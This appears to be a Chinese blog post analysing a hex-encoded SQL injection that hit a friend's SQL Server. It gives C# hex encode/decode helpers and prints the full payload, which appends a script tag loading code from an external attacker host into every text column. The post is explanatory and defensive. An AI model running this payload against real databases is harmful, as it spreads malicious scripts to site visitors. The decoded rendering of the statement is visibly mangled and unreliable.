今天朋友遇到一个问题，他的sql server 数据库被执行了一条语句dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)–从0x可以看出这是一段十六进制编码的sql语句于是想到将其解码：对于十六进制字符串编码和解码的C# 方法如下：复制代码代码如下:/// /// 从字符串转换到16进制表示的字符串 /// /// /// 编码,如\”utf-8\”,\”gb2312\” /// 是否每字符用逗号分隔 /// public static string ToHex(string s, string charset, bool fenge) { if ((s.Length % 2) != 0) { s += \” \”;//空格 //throw new ArgumentException(\”s is not valid chinese string!\”); } System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset); byte[] bytes = chs.GetBytes(s); string str = \”\”; for (int i = 0; i < bytes.Length; i++) { str += string.Format(\”{0:X}\”, bytes[i]); if (fenge && (i != bytes.Length – 1)) { str += string.Format(\”{0}\”, \”,\”); } } return str.ToLower(); }</p>
<p> /// /// 从16进制转换成utf编码的字符串 /// /// /// 编码,如\”utf-8\”,\”gb2312\” /// public static string UnHex(string hex, string charset) { if (hex == null) throw new ArgumentNullException(\”hex\”); hex = hex.Replace(\”,\”, \”\”); hex = hex.Replace(\”\\n\”, \”\”); hex = hex.Replace(\”\\\\\”, \”\”); hex = hex.Replace(\” \”, \”\”); if (hex.Length % 2 != 0) { hex += \”20\”;//空格 throw new ArgumentException(\”hex is not a valid number!\”, \”hex\”); } // 需要将 hex 转换成 byte 数组。 byte[] bytes = new byte[hex.Length / 2]; for (int i = 0; i < bytes.Length; i++) { try { // 每两个字符是一个 byte。 bytes[i] = byte.Parse(hex.Substring(i * 2, 2), System.Globalization.NumberStyles.HexNumber); } catch { // Rethrow an exception with custom message. throw new ArgumentException(\”hex is not a valid hex number!\”, \”hex\”); } } System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);</p>
<p> return chs.GetString(bytes); }于是对这段代码进行解码：复制代码代码如下:private static void TestHexStringDecode() { string oldSql = \”6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52\”; Console.Write(System.Web.HttpUtility.UrlDecode( UnHex(oldSql, \”utf-8\”).ToLower())); }这样它的原型就现出来了复制代码代码如下:declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=\’u\’ and(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetchnext from table_cursor into @t,@c while(@@fetch_status=0) begin exec(\’update [\’@t \’] set [\’ @c \’]=rtrim(convert(varchar,[\’ @c \’])) \’\’\”> ose table_cursor deallocate table_cursor进行注入的人的网址就是a.ppmmoo.cn大家平时应该多注意这种注入， 可以通过控制对数据库的权限来避免上面这段代码的注入，据朋友介绍此人是在光纤的电脑上注入的，估计用肉鸡，或者服务器~~~另外 http://home2.paulschou.net/tools/xlate/ 这个网址可以对Hex编码的字符串进行解码
